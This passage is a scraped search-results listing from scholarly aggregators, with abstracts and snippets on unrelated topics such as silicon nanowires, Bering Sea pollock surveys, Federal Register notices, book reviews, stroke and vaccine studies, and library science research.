of the 1.3 μm SiNWs, which is indicative of effective removal of structural defects at the SiNW surface. In the case of the 2.4 μm SiNWs, frequency dispersion at accumulation persisted even after the two-step chemical treatment. This is attributed to a porous Si layer at the SiNW tops, which is not effectively removed by the chemical treatment. The electrical losses of MIS capacitors in both cases of SiNW lengths were studied and will be discussed. 3. AFSC/RACE/MACE: Results of 2012 Pollock Acoustic-Trawl Survey Bering Sea- DY1207 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Eastern Bering Sea shelf walleye pollock (Theragra chalcogramma) midwater abundance and distribution were assessed from Bristol Bay in the United States, to Cape... 4. AFSC/RACE/MACE: Results of 2010 Pollock Acoustic-Trawl Survey Bering Sea- DY1006 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Eastern Bering Sea shelf walleye pollock (Theragra chalcogramma) abundance and distribution in midwater were assessed between 5 June and 7 August 2010 using... 5. 77 FR 73663 - Susan F. Knott; Denial of Hearing; Final Debarment Order Science.gov (United States) 2012-12-11 ... determination urged (see 21 CFR 12.24(b)). The Chief Scientist has considered Knott's arguments and concludes... be substituted for an approved drug without the knowledge of the patient. As a result, Knott is... thus there was no demonstration or admission of criminal intent or knowledge underlying her conviction... 6. Nõukogude "kaasaegne stiil" : sotsialistlik modernism = The Soviet "contemporary style" : a socialist modernism / Susan E. Reid Index Scriptorium Estoniae Reid, Susan E., 1959- 2009-01-01 Modernismile lähenemisest nõukogude kunstis. Nõukogude kunstikriitikast ja -praktikast. Kaasaegne stiil sünteesis arhitektuuriga. Nõukogude Palee teostamata projektist Moskvas. 1962. aastal valminud Moskva Pioneeride Paleest kui stalinistliku praktika hülgamise näitest 7. In Appreciation of Claude Warren and Susan Rose's "William Pengelly's Techniques of Archaeological Excavation" Directory of Open Access Journals (Sweden) David L. Browman 1997-11-01 Full Text Available The short (40 pages pamphlet by Warren and Rose (1994 provides the answer to a complex question regarding credit for an important archaeological methodology, stratigraphic excavation. Let me set the stage for this appreciation. Continuing research on the beginnings of stratigraphic excavations in North America (Browman and Givens 1996, I sought the origins of the idea of actually excavating by strata, rather than post-facto interpretation, seen in North American as early as 1895 in the work of Henry Chapman Mercer, but not really introduced into the repertoire of American techniques until the work of Gamio, Kidder and Nelson between 1911 and 1914. The roots of the latter three seemed to lie with individuals such as Reisner, Boas, Uhle, who in turn seemed to rely on Hugo Obennaier, Gabriel de Mortillet, Marcellin Boule, and perhaps Pitt-Rivers, while Mercer's work could be traced to Boule and Albert Gaudry. Doggedly following back the roots, I found that Chapman (1989 could make a reasonable case that Pitt-Rivers had actually learned of the idea of stratigraphic excavation from Evans, Prestwich, and Lubbock, from the British scientists working with the Upper and Middle Paleolithic excavations during 1858-1868. 8. Diasporic Reconciliations of Politics, Love and Trauma: Susan Abulhawa's Quest for Identity in "Mornings in Jenin" Science.gov (United States) Abu-Shomar, Ayman M. 2015-01-01 Negotiating human conditions is an emblematic critical impetus of diaspora informed by multiple cultural possibilities practiced through the creation of multiple spaces that cross the realm of the "self" to that of the "other." It offers a locale to cross from the oppressed "self" to an understanding of an oppressor… 9. AFSC/RACE/MACE: Results of 2012 Acoustic-trawl survey of the Shumagin Islands and Sanak Trough dy1201 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The survey’s primary objective was to collect acoustic data and trawl information to estimate midwater abundance and distribution of walleye pollock (Gadus... 10. Chinese Mine Warfare: A PLA Navy Assassin’s Mace Capability (China MaritimeStudy, Number 3) Science.gov (United States) 2009-06-01 derived from obsolete tor- pedoes (e.g., earlier models of China’s Yu series) and launched from submarines, they travel along a user-determined course...prioritized weapons programs into disarray, dividing bureaus into rival factions and even threatening rail links critical to the develop- ment of advanced...Lever for Shift- ing Renovation’s Center of Balance: A Qingdao Logistics Base’s Experience in Exploring Ways to Link Scientific Research and Combat 11. Uncovering Our History, Teaching Primary Sources (Tarihimizi Keşfetme, Birincil Kaynaklarla Öğretim - Susan H. Veccia Directory of Open Access Journals (Sweden) Duygu Alphan Şentuna 2014-05-01 Full Text Available Okul yıllarından bahseden insanların büyük bir çoğunluğu için tarih dersi, not almak için isimlerin ve tarihlerin ezberlendiği, sınavdan sonra ise unutulduğu bir ders olarak hatıralarda yer alır. Günümüzde tarih öğretiminde önemli gelişmeler olmasına rağmen hala derslerde öğretmenlerin isim, tarih ve ders kitabı merkezli bir öğretim izledikleri görülmektedir. Öğrencilerin eleştirel ve tarihsel düşünme becerisi elde etmeleri için ilk önce bilgiye sahip olmaları gerektiği inancı, öğretmenlerin derslerde yenilikçi yöntemlere yeterli zaman ayırmalarını engellemektedir. Bu durum öğrencilerin tarih dersinden soğumalarına ve dersi zaman kaybı olarak görmelerine neden olmaktadır. 12. Separated by Sex: A Critical Look at Single-Sex Education for Girls (edited by Susan Morse) Science.gov (United States) Ceraulo, Reviewed By Sandra C. 1999-05-01 As Cornelius Riordan states in his round-table paper, "The challenge of effective and equitable schooling in the next century is to overcome the resistance and recalcitrance of youth cultures in and out of school" (p 58). While this is admittedly not a new problem, it is more complex in its modern form and innovative ways to solve it are needed. In an old tradition, one such attempt has been single-sex schools, which have had particular success with the disadvantaged and white females in American society, with the notable involvement of Catholic religious communities. The report does not make clear whether their successes can be reproduced in some modification of the public school format. However, the AAUW report on single-sex schools sheds light on some of the characteristics that make true learning communities out of ordinary schools and on what it takes to reach disadvantaged girls. For these reasons, the AAUW report is good reading for educators at all levels. 13. Susan Groag Bell, The Lost Tapestries of the City of Ladies. Christine de Pizan’s Renaissance Legacy OpenAIRE Le Ninan, Claire 2008-01-01 Dans ses œuvres didactiques, Christine de Pizan cherche, par divers procédés rhétoriques, à garantir la bonne réception de sa leçon ainsi que la pérennité de son œuvre, de ses idées et de son nom. Pourtant, la réelle influence des textes de Christine sur les princes et princesses de son époque est difficile à mesurer, si ce n’est par les catalogues de bibliothèque qui renseignent sur la présence des manuscrits dans la collection des personnages importants du royaume. De même, il est difficile... 14. 75 FR 22012 - Endangered and Threatened Wildlife and Plants; 12-Month Finding on a Petition to List Susan's... Science.gov (United States) 2010-04-27 ... sedimentation associated with intensive livestock grazing can have a profound effect on aquatic... caddisfly's habitat downstream through vegetation removal, erosion, and subsequent downstream sedimentation... tank, then into seven float-controlled livestock tanks to draw the livestock away from riparian areas... 15. The COlIStruction of the Self: A Developmental Perspective. Susan Harter. New York, NY: Guilford Press, 1999. Directory of Open Access Journals (Sweden) Sandra Leanne Bosacki 1999-01-01 Full Text Available Within the fields of educational and developmental psychology, interest has grown concerning the question of how cognitive and socioemotional processes work together to construct pathways for the self. In particular, researchers and educators have become increasingly interested in the role that the school plays in children's self-development. According to Jerome Bruner, "the single most universal thing about human experience is the phenomenon of the 'Self" (1996, p. 35 and advocates that education is crucial to its formation. However, despite the strong theoretical claims linking a child's sense of self to school experience, there has been a lack of systematic research on the self within the school context. 16. Prophylactic antibiotic treatment in severe acute ischemic stroke: the Antimicrobial chemopRrophylaxis for Ischemic STrokE In MaceDonIa-Thrace Study (ARISTEIDIS). Science.gov (United States) Tziomalos, Konstantinos; Ntaios, George; Miyakis, Spiros; Papanas, Nikolaos; Xanthis, Andreas; Agapakis, Dimitrios; Milionis, Haralampos; Savopoulos, Christos; Maltezos, Efstratios; Hatzitolios, Apostolos I 2016-10-01 Infections represent a leading cause of mortality in patients with acute ischemic stroke, but it is unclear whether prophylactic antibiotic treatment improves the outcome. We aimed to evaluate the effects of this treatment on infection incidence and short-term mortality. This was a pragmatic, prospective multicenter real-world analysis of previously independent consecutive patients with acute ischemic stroke who were >18 years, and who had at admission National Institutes of Health Stroke Scale (NIHSS) >11. Patients with infection at admission or during the preceding month, with axillary temperature at admission >37 °C, with chronic inflammatory diseases or under treatment with corticosteroids were excluded from the study. Among 110 patients (44.5 % males, 80.2 ± 6.8 years), 31 (28.2 %) received prophylactic antibiotic treatment, mostly cefuroxime (n = 21). Prophylactic antibiotic treatment was administered to 51.4 % of patients who developed infection, and to 16.4 % of patients who did not (p antibiotic treatment (RR 5.84, 95 % CI 2.03-16.79, p antibiotic treatment did not differ between patients who died during hospitalization and those discharged, or between patients who died during hospitalization or during follow-up and those who were alive 3 months after discharge. Prophylactic administration of antibiotics in patients with severe acute ischemic stroke is associated with an increased risk of infection during hospitalization, and does not affect short-term mortality risk. 17. Sündinud vajadusest õhu ja hingamise järele / Jukka Pennanen, Mace Ojala ; soome keelest tõlkinud Triinu Seppam Index Scriptorium Estoniae Pennanen, Jukka 2012-01-01 "Jalgrattasõit raamatukogude eest Balti iikides 2012 ("Cycling for Libraries in the Baltic States 2012") toimus 28. juulist 7. augustini 2012, kus erinevate maade raamatukoguhoidjad ja raamatusõbrad külastasid Eesti, Läti ja Leedu raamatukogusid 18. INVESTIGATION OF DEPENDENCE OF ANTIOXIDANT ACTIVITY OF ESSENTIAL OILS FROM LEMON, MACE, FENNEL AND BLACK PEPPER ON OIL CONCENTRATION BY CAPILLARY GAS-LIQUID CHROMATOGRAPHY OpenAIRE Самусенко, Алексей Леонидович 2014-01-01 In recent time the biological activity of essential oils from spicy-aromatic herbs, including the antioxidant one, have been evaluated in numerous studies. Earlier we have demonstrated the high antioxidant activity of the oils contained monoterpenes, such as γ-terpinene and α-terpinolene, or sesquiterpenes (zingeberene and β-caryofillene). However the concentration value of oils in the «aldehyde – essential oil» system was too high and the investigation of various concentrations was not carri... 19. Os grandes clímaces do Brasil: I - considerações sôbre os tipos vegetativos da região sul Directory of Open Access Journals (Sweden) Henrique P. Veloso 1962-07-01 Full Text Available Der Autor schlaegt eine Unterteilung der Vegetation vor, die sich auf die grossen Landschaftstypen Brasiliens bezieht. Er grenzt diese gegeneinander ab und beschreibt sie in grossen Zuegen, soweit sie bis heute bekannt sind. Er bringt einige Komentare zur Phytoklimatologie und zeigt, dass die Versuche einer floristischen Einteilung auf klimatischer Grundlage nichtbefriedigend sind; er laesst den "Klimax" nur zu als Annahme des maximalen Ausdrucks der Vegetation innerhalb eines begrenzten Gebiets. Ers bespricht kurz die regionalen geomorphologischen Studien und beschreibt zum Schluss jeden phyto-oekologischen Typ. Er beleuchtet in den Beschreibungen alle historischen Moeglichkeiten, wobei er sich auf die palaeo-Oekologie und Phylogenese stuetzt. In Suedbrasilien finden wir, abgesehen von den Waeldern der immerfeuchten Regenzonen, den Cerrado und den Campo und neben diesen den Wald der periodisch trockenen Klimate. Der Autor weist daraufhin, dass die Ausbreitung der Formationen mehr an den "Raum" als an die "Zeit" gebunden sind, dieses will besagen, dass in juengst bewachsenen Gebieten der Wald sich in jeder Richtung ausdehnt und in alt bewachsenen Regionen mit tiefen Boeden der Cerrado und in solchen mit flachen Boeden der Campo sich allseits ausbreiten. 1. Der Laubwald, der sich wahrscheinlich seit der juengeren Pluvialzeit ausbreitet, befidet sich heute noch in voller Taetigkeit: a der Wald der Abhaenge der kristalinen Gebirge der Sued-Atlantikkueste, der schattige Haenge bedeckt und durch cyophile und phylogenetisch primitive Elemente gekennzeichnet ist, scheint die aeltere Ausbreitung darzustellen; und b der Wald der Einzugsbecken und Kuestenebenen, der die aluvialen Gelaende einnimmt und durch heliophile und hoeher entwickelte Arten charakterisiert ist, scheint die modernere Ausbreitung zu vertreten. 2. Der Nadelwald, der dem Einzugsnetz der Hochflaech folgend sich in relativ neuer Zeit ausgebreitet hat, befindet sich ebenfalls auch heute noch in voller Taetigkeit: a in Gebieten der Campos, neuerdings wieder bewachsen (Niederungen, Quellgruende usw, finden wir die seiner heutigen Ausbreitung; und b die ausschliesslich erwachsenen Elemente inmitten von Laubwald zeigen sein heutigen Gebiet des Konkurrenzhampfes an. 3. Die Savannen und Campos, urspruenglich in Abhaengigkeit von ihrem geologischen Ursprung auf die sauren, armen Boeden beschraenkt, dehnen sich schnell infolge Raubbaus durch den Menschen auf neue Gebiete aus: a zerstoerte Waldgebiete auf tiefen Sandformationen, wo der entwaldete Boden im halbfeuchten Klima der Lateritisierung beschleunigt unterliegt, sind Bildung des Cerrados ausgesetzt; b zerstoerte Waldgebiete auf Tonformationen, wo die Erosion schnell bis zu den halbzerlegten Gesteinen fortschreitet, werden in Campo verwandelt; und c Ackerbaugebiete und Weiden auf jedem Boden, wo periodisch gebrannt wird, sind gezwungenermassen dem "Feuer-Klimax" unterworfen. 4. Bezueglich der historischen Vergangenheit der heute von einem bestimmten Vegetationstyp bedeckten Gebiete kann nur eine Pollenanalyse der lokalen organischen Ablagerungen definitive Antwort geben. 20. AFSC/RACE/MACE: Results of 2013 Acoustic-trawl survey of the Shumagin Islands, Sanak Trough, and Morzhovoi Bay dy1302 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The survey’s primary objective was to collect acoustic data and trawl information to estimate midwater abundance and distribution of walleye pollock (Gadus... 1. Kanono refrakcija Antonios Susanos Byatt romane Apsėdimas \| Refraction of the Canon in Antonia Susan Byatt’s Novel Possession Directory of Open Access Journals (Sweden) Regina Rudaitytė 2005-01-01 Full Text Available The article focuses on the revision and transformation of the genre of romance, particularly in its 19th century poetical form, actualized in A. S. Byatt’s novel Possession through an enormous intertextual web of references. The major intertext in the novel is Victorian literature and culture on which Byatt concentrates, covering the whole romance canon through intertextual references to Romantic poetry and to the tradition of medieval romances in their Victorian rewritings.The play with the conventions of the genre of romance and its transformations, the pastiches of the Victorian poetry are the main narrative strategies for Byatt to achieve the refraction of the canon – a re-evaluation of the Victorian poetic tradition from the contemporary feminist and poststructuralist perspective. 2. Susan J. Slaughter, Lora D. Delwiche, The Little SAS Book for Enterprise Guide 4.1 et James B. Davis, Statistics using SAS Enterprise Guide OpenAIRE 2010-01-01 Le logiciel SAS® (Statistical Analysis System) est un logiciel d’analyse statistique et économétrique de référence en économie industrielle ; il permet de gérer de grandes bases de données informatiques indépendamment de leur format ou de leur plate-forme de résidence, de réaliser quasiment tous les traitements économétriques sur ces données, et de mettre en forme les résultats. Un obstacle à son utilisation a souvent résidé pour beaucoup dans la relative complexité des outils de programmatio... 3. Interview with a quality leader: Kent Bottles, MD, president of ICSI, on transforming care for the future. Interview by Susan V. White. Science.gov (United States) Bottles, Kent 2010-01-01 Kent Bottles, MD, President of the Institute for Clinical Systems Improvement (ICSI). Dr. Bottles is a board-certified pathologist who specialized in surgical and cyto-pathology. He earned a medical degree from Case Western Reserve University in Ohio. He has extensive experience in integrated healthcare delivery systems, research, academia, commercial laboratories, genomics, proteomics, and management of biotech start-up companies. Dr. Bottles was vice president and chief medical officer of the Iowa Health System. Before that, he served as president and CEO of Grand Rapids Medical Education and Research Center for Health Professions, a multi-institutional consortium of healthcare organizations, and as president of Genomics Repository and chief knowledge officer, Genomics Collaborative Inc. Dr. Bottles has extensive academic experience, serving as Professor and Acting Head, Department of Pathology and Laboratory Medicine at the University of Iowa. He was also the founding medical director of managed care plans for University of Iowa employees. Dr. Bottles has addressed topics ranging from quality and patient safety and disruptive technology to patient-physician relationships and the future of medicine. He has received numerous honors, including the Rodney T. West Literary Achievement Award for the most important article on medical management presented by the American College of Physician Executives. He has broad clinical experience with the University of Iowa and the San Francisco General Hospital, and has been a national leader in changing the practice of pathology and laboratory medicine to meet the challenges of managed care. 4. Breast cancer patients' perspectives on and use of complementary and alternative medicine: a study by the Susan G. Komen Breast Cancer Foundation. Science.gov (United States) Astin, John A; Reilly, Colleen; Perkins, Cheryl; Child, Wendy L 2006-01-01 The purpose of this study was to examine patterns and predictors of complementary and alternative medicine (CAM) among breast cancer patients. A review of the existing survey literature on CAM use for breast cancer was conducted with a series of eight focus groups (N = 67) to further examine the perspectives of breast cancer patients on CAM. The rates of CAM use varied from 17 to 75%, with a mean of 45%. Vitamins and minerals and herbs were the most frequently cited categories. Users tended to be younger, more educated, and more likely to have used CAM prior to their diagnosis. Focus group data indicate that breast cancer patients use a wide array of CAM for a variety of reasons, including symptom management, improving quality of life, and enhancing immune function. Although women rely on a variety of resources for information, they frequently experience frustration owing to the absence or conflicting nature of such information. Communication with conventional providers about CAM is frequently experienced as either unsupportive or not helpful by many patients. The results point to the value of developing better evidence-based informational resources related to CAM and cancer and the need for physicians to become better educated about CAM and how to communicate more effectively with their breast cancer patients about it. 5. Serum insulin-like growth factor (IGF)-I and IGF binding protein-3 in relation to terminal duct lobular unit involution of the normal breast in Caucasian and African American women: The Susan G. Komen Tissue Bank. Science.gov (United States) Oh, Hannah; Pfeiffer, Ruth M; Falk, Roni T; Horne, Hisani N; Xiang, Jackie; Pollak, Michael; Brinton, Louise A; Storniolo, Anna Maria V; Sherman, Mark E; Gierach, Gretchen L; Figueroa, Jonine D 2018-02-22 Lesser degrees of terminal duct lobular unit (TDLU) involution, as reflected by higher numbers of TDLUs and acini/TDLU, are associated with elevated breast cancer risk. In rodent models, the insulin-like growth factor (IGF) system regulates involution of the mammary gland. We examined associations of circulating IGF measures with TDLU involution in normal breast tissues among women without precancerous lesions. Among 715 Caucasian and 283 African American (AA) women who donated normal breast tissue samples to the Komen Tissue Bank between 2009 and 2012 (75% premenopausal), serum concentrations of IGF-I and binding protein (IGFBP)-3 were quantified using enzyme-linked immunosorbent assay. Hematoxilyn and eosin-stained tissue sections were assessed for numbers of TDLUs ("TDLU count"). Zero-inflated Poisson regression models with a robust variance estimator were used to estimate relative risks (RRs) for association of IGF measures (tertiles) with TDLU count by race and menopausal status, adjusting for potential confounders. AA (vs. Caucasian) women had higher age-adjusted mean levels of serum IGF-I (137 vs. 131 ng/mL, p = 0.07) and lower levels of IGFBP-3 (4165 vs. 4684 ng/mL, p IGF-I:IGFBP-3 ratios were associated with higher TDLU count in Caucasian (RR T3vs.T1 =1.33, 95% CI = 1.02-1.75, p-trend = 0.04), but not in AA (RR T3vs.T1 =0.65, 95% CI = 0.42-1.00, p-trend = 0.05), women. Our data suggest a role of the IGF system, particularly IGFBP-3, in TDLU involution of the normal breast, a breast cancer risk factor, among Caucasian and AA women. © 2018 UICC. 6. The Practice of Nursing Research: Appraisal, Synthesis, and Generation of Evidence - Seventh edition Grove Susan K The Practice of Nursing Research: Appraisal, Synthesis, and Generation of Evidence - Seventh edition 752pp Elsevier 9781455707362 1455707368 [Formula: see text]. Science.gov (United States) 2013-04-03 This classic research text has been updated for nursing students and those in nursing practice. Though a substantial book, it is easy to dip in and out of, covering a wide range of topics from the research process and analysing data to sampling and seeking funding. 7. 75 FR 10793 - FY2010 Supplemental Funding for Brownfields Revolving Loan Fund (RLF) Grantees Science.gov (United States) 2010-03-09 ... (213) 244- 1850. EPA Region 10, Susan Morales, AK, ID, OR, WA 1200 Sixth Avenue, Suite Morales.Susan...: March 2, 2010. David R. Lloyd, Director, Office of Brownfields and Land Revitalization, Office of Solid... 8. 76 FR 6087 - Draft Weapons Safety Assessment on the Use of Enhanced Weapons; Notice of Availability and... Science.gov (United States) 2011-02-03 ...: 301-415-6557; e-mail: [email protected] ; or Susan Bagley, Office of Nuclear Security and Incident...: [email protected] . SUPPLEMENTARY INFORMATION: On August 8, 2005, President Bush signed into law the... 9. Association between influenza vaccination and reduced risks of major adverse cardiovascular events in elderly patients. Science.gov (United States) Chiang, Ming-Hsien; Wu, Hau-Hsin; Shih, Chia-Jen; Chen, Yung-Tai; Kuo, Shu-Chen; Chen, Te-Li 2017-11-01 This study was conducted to determine the protective effect of influenza vaccine against primary major adverse cardiovascular events (MACEs) in elderly patients, especially those with influenza-like illness (ILI). This retrospective, population-based case-control study of an elderly population (age≥65 years) was conducted using Taiwan's National Health Insurance Research Database (2000-2013). One control was selected for each MACE case (n=80,363 each), matched according to age, year of study entry, and predisposing factors for MACEs. ILI and MACEs (myocardial infarction [MI] and ischemic stroke) were defined according to the International Classification of Diseases, Ninth Revision, Clinical Modification. Odds ratios (ORs) were calculated for the association between MACEs and vaccination. Influenza vaccination received in the previous year was associated with reduced risks of primary MACEs overall (adjusted OR [aOR] 0.80, 95% CI 0.78-0.82, Prisks of MACEs (aOR 1.24, 95% CI 1.18-1.29, PVaccination attenuated the heightened risks associated with ILI (MACEs: aOR 0.99, 95% CI 0.92-1.07, P=.834; MI: aOR 1.05, 95% CI 0.92-1.21, P=.440; ischemic stroke: aOR 0.96, 95% CI 0.89-1.05, P=.398). Results of this study suggest that influenza vaccination is associated with reduced primary MACE risks in the elderly population, including those with ILI. Copyright © 2017 Elsevier Inc. All rights reserved. 10. Staffing an Academic Reference Desk with Librarians is not Cost-effective. A Review of: Ryan, Susan M. “Reference Transactions Analysis: The Cost-effectiveness of Staffing a Traditional Academic Reference Desk.” Journal of Academic Librarianship 34.5 (2008: 389-99. Directory of Open Access Journals (Sweden) Cari Merkley 2009-06-01 Full Text Available Objective – To determine whether it is cost effective to staff an academic reference desk with librarians through an examination of the types of reference questions being asked and the qualifications required to answer them.Design – Content analysis of reference transaction logs and activity-based costing for reference services based on quantitative data derived from the logs.Setting – Stetson University, a private institution in the United States with an FTE of approximately 2500.Subjects – 6959 phone, email, and in-person reference transactions logged at the reference desk by four full-time and two part-time librarians.Methods – This study repurposes data originally collected to determine the frequency with which librarians turned to online versus print sources when responding to questions at the reference desk. Librarians working at the Stetson University library reference desk recorded all reference queries received in person, by phone, or by email for a total of eight months between 2002 and 2006. Data collection took place in two month intervals in fall 2002, spring 2003, spring 2006, and fall 2006. Each question and the sources used to address it were logged by the librarian. Directional questions that were not related to the library’s collections and technical questions dealing with printer or copier mechanical problems were counted, but the specifics of these questions were not recorded. It was felt that these queries would not yield data relevant to the original research question on sources used as they “did not directly relate to an information need” (391. A total of 6959 questions were logged by librarians during the four collection periods. Questions were recorded for only 4431 transactions; the remaining 2528 queries related to printer/copier problems or non-library specific directions and were described as “direction and machine: non- informational” (394. The 4431 recorded questions were then divided into four categories derived by the researcher: look-up (a search for a known item, directional (library-specific orientation to the space and collections, technology (assistance with using library technology and electronic resources, and reference. The category of reference was further subdivided into eight additional categories: catalogue search, citation help, database help, “guide to correct databases,” “personal knowledge or referral,” “quick internet search,” research, and Serials Solutions (392. “Guide to correct databases” referred to advice on the appropriate database to answer a question and serials solutions included questions that could be answered using the Serials Solutions product, such as the availability of a particular journal or article in the collection (392. Questions were assigned to the single most appropriate category by the researcher. Question categories were then mapped to “suggested staffing levels” (396. This determination was made by the researcher, and no details were given as to how the decision was made for each category. The three levels of staffing discussed were librarian, “trained student or staff,” and “well-trained staff/occasional librarian referral” (396. The cost of staffing the reference desk during the eight months captured in this study was calculated by multiplying the hours worked by each librarian by his/her individual average rate of pay across the four data collection periods. Indirect staff costs such as benefits were not included in this calculation. The average cost per reference transaction was determined by dividing the total salary costs by the total number of reference queries during the periods of study. Costs for those categories of questions best addressed by a librarian could then be determined. The actual number of librarians who participated in the study is unclear. The methodology refers to four full-time and two part-time librarians (391. However, later in the article there is reference to five full-time and three part-time librarians rather than the numbers initially stated (396. This may reflect staffing changes during the study period, with the first set of numbers referring to positions rather than individuals, but this cannot be verified with the evidence presented in the article.Main Results – It was determined that most questions asked at the reference desk during the study period could have been addressed by trained student and staff member rather than librarians. Only 11% (784 of questions logged were deemed sufficiently complex by the researcher to require the attention of a librarian. The remaining 6175 transactions (89% of all those logged could most likely be handled by a different staffing complement. According to Ryan, approximately 74% of the reference transactions, including directional, technology, “quick internet,” and known item searching questions could have been answered by “trained student and staff” (396. Questions on catalogue searching, databases, citations, Serial Solutions, and personal knowledge/referrals, representing approximately 15% of all questions, could have been handled by experienced and knowledgeable staff with limited librarian intervention. The complexity of the question was in part judged by the number of sources required to answer it, with most (75% answerable with just one source. The total cost of staffing the reference desk with librarians for the eight months studied was approximately US$49,328.00. A total of 6959 questions were logged during this period, resulting in an average cost of US$7.09 per reference transaction. This cost is approximate, as the exact time spent on each question was not recorded. The cost of answering “non-informational” directional and technical questions was the most significant (396. This category represented 36.3% of all questions received at the reference desk, with a total staffing cost of $17, 919.41 ($7.09 x 2528. “Information-orientated” directional and technology questions followed at 15.4% (US$7,620 and 12.4% (US$6,110.18 respectively (396. According to Ryan, questions in all three categories could be addressed by students and staff. The cost of addressing research questions, the only category requiring librarians, was US$5557.29. Research transactions were greatly outnumbered by directional and technology related questions. An average of 3.6 research questions were asked at the reference desk during the 12 hours it was open each day, compared to 20.8 directional/technical questions.Conclusion – The nature of questions logged at the Stetson University library reference desk suggests that it is inefficient to staff the desk with librarians, given the salary costs of such a staffing model and the fact that librarian’s skills may not be required to answer most of the questions posed. Since the number of questions that need a librarian is so low, Ryan suggests that alternative staffing and service models be considered, so the energies of librarians could be more effectively employed elsewhere in the organization in areas such as information literacy instruction and the development of enhanced web services. It is noted that any reorganization of reference services should be done in concert with user surveys, consultation with staff, and extensive training to prepare staff for new roles. Suggested areas for further research identified by the researcher include the quality of reference transactions in an increasingly online environment. 11. Online Programs and Geographic Proximity are Key Determinants of Information Professionals’ Interest in Pursuing Post-Master’s Education at the Doctoral Level. A Review of: Powell, Ronald R. and Susan E. Boling. “Post-Master’s Educational Needs of Information Professionals.” Journal of Access Services 3.4 (2005: 29-43. Directory of Open Access Journals (Sweden) Martha Ingrid Preddie 2009-03-01 Full Text Available Objective – To investigate post-master’s educational needs and interests of information professionals.Design – Survey research using print and electronic questionnaires.Setting – The geographic area surrounding Wayne State University in Michigan, United States of America.Subjects – Members of the library associations of Michigan, Ohio, Indiana, and Southwestern Ontario, Canada.Methods – Systematic random samples were derived from the membership lists of the library associations in Ohio, Indiana, and Southwestern Ontario. Paper questionnaires were mailed to those selected. Michigan Library Association’s official policy barred the release of its membership list to researchers. Consequently, announcements of the survey were placed in three successive issues of the Association’s electronic newsletter. Interested members were directed to a website to complete an electronic version of the questionnaire. This option was also extended to members of the other three library associations. The overall research question was investigated through specific questions that sought to ascertain the overall level of interest in professional library and information studies (LIS education, levels of interest in specific types of programs, factors that favoured or deterred enrolment in doctoral programs, as well as the fields of study that were preferred for combination with LIS in doctoral programs. With the exception of demographic type questions (e.g., place of residence and educational qualifications and two questions that required open ended responses, the questionnaire design encompassed questions with Likert scale type responses. Analysis of the responses included descriptive statistics, the use of Pearson chi square to determine statistically significant relationships, and, to a lesser extent, content analysis.Main Results – A total of 270 questionnaires(33% were returned from three populations: Ohio, Indiana, and Ontario. A self-selected sample of 101 members (6% of the Michigan Library Association responded. In general, almost 80% of the respondents admitted some importance to adding to their LIS qualification. However, only 41% felt that this was important or extremely important. From a choice of six educational offerings, namely, continuing education activities, non-degree master’s coursework, a second master’s degree, post-master’s certification, doctoral programs, and other, continuing education activities was the most valued, by 65.5% of the respondents. Participants were asked about their reasons, and the importance of these, for considering or deciding to enrol in an LIS doctoral program. The yearning to acquire knowledge was reported by 69.7% as the major reason, followed by 45.8% of the respondents who cited the wish to increase their income potential. In terms of major factors, prestige received the lowest rating, 21.1%. The time involved (73.8%, cost(66.3%, and distance from the program (63.2% were cited as the major deterrents to enrolling in doctoral programs. When asked about the likelihood of pursuing a doctoral LIS program in combination with business administration, computer science, or without any combination, “not likely” was the most popular choice. Those who were very likely or likely to pursue a joint program totalled approximately 30% of the respondents, while 37% indicated an interest in undertaking a doctorate in LIS only. The most frequent reasons proffered by those who selected “not likely” or “definitely not” for any of the three doctoral offerings included lack of interest, mitigating factors (e.g. time, cost, age, and program location, unfavourable cost/benefit analysis, preference for another area of knowledge,and the view that Ph.D.s were only useful for university faculty. Given the option to name subject areas that they desired to see combined with LIS in a doctoral program, 23 of 101 respondents proposed education, while 19 opted for public administration. A question inviting any other comments on the issue of post-master’s education yielded a predominant desire for “non traditional instruction,” particularly online courses as well as classes held in convenient locations. In terms of relationships between geographic location and factors that influenced interest in enrolling in a doctoral program, the desire “to become a more effective manager,” and “other” were statistically significant. The analysis also revealed a strong positive relationship between willingness to pursue an LIS-only doctoral program and the availability of such a program in geographic proximity. Similarly, there was a strong relationship between willingness to pursue an LIS program in close vicinity and the importance that was given to further LIS education.Conclusion – Online instruction and geographic proximity are key determinants of information professionals’ interest in pursuing post-master’s education at the doctoral level. Continuing education activities, non-degree coursework, and certificate programs are preferred over doctoral LIS programs, despite the finding that the major reason for enrolling in doctoral LIS programs is to fulfill the desire for knowledge acquisition. Schools offering Library and Information Science studies need to explore options for providing distance-education doctoral LIS programs as a means of reversing the current shortage of LIS faculty. 12. Human Resource Management, 11th Edition International Student Version. By David A. DeCenzo, Stephen P. Robbins and Susan L. Verhulst, Wiley, 2013; 448 Pages. Price £54.99 / €66.00, ISBN 978-1-1183-7971-4 OpenAIRE Shu-Kun Lin 2013-01-01 The 11th Edition of Human Resource Management helps students understand and remember concepts through a straightforward and conversational writing style and a wealth of examples to clarify ideas and build interest. The authors provide a strong foundation of essential elements of Human Resource Management (HRM) as well as a clear understanding of how Human Resource Management links with business strategy. Through practical applications, the authors illustrate the importance of employees on eve... 13. Human Resource Management, 11th Edition International Student Version. By David A. DeCenzo, Stephen P. Robbins and Susan L. Verhulst, Wiley, 2013; 448 Pages. Price £54.99 / €66.00, ISBN 978-1-1183-7971-4 Directory of Open Access Journals (Sweden) Shu-Kun Lin 2013-02-01 Full Text Available The 11th Edition of Human Resource Management helps students understand and remember concepts through a straightforward and conversational writing style and a wealth of examples to clarify ideas and build interest. The authors provide a strong foundation of essential elements of Human Resource Management (HRM as well as a clear understanding of how Human Resource Management links with business strategy. Through practical applications, the authors illustrate the importance of employees on every level of the organization, helping students understand HRM elements such as recruitment, training, motivation, retention, safety, the legal environment, and how they support successful business strategies. 14. Response to the Colloquium "The Organisation for Economic Co-Operation and Development's International Early Learning Study: Opening for Debate and Contestation", by Peter Moss, Gunilla Dahlberg, Susan Grieshaber, Susanna Mantovani, Helen May, Alan Pence, Sylvie Rayna, Beth Blue Swadener and Michel Vandenbroeck, "Contemporary Issues in Early Childhood" 17(3) Science.gov (United States) Mackey, Glynne; Hill, Diti; De Vocht, Lia 2016-01-01 In this article, the authors opine that the introduction of an international assessment of children's early learning, such as proposed by the OECD with its planned International Early Learning Study, will shift the emphasis away from pedagogies which 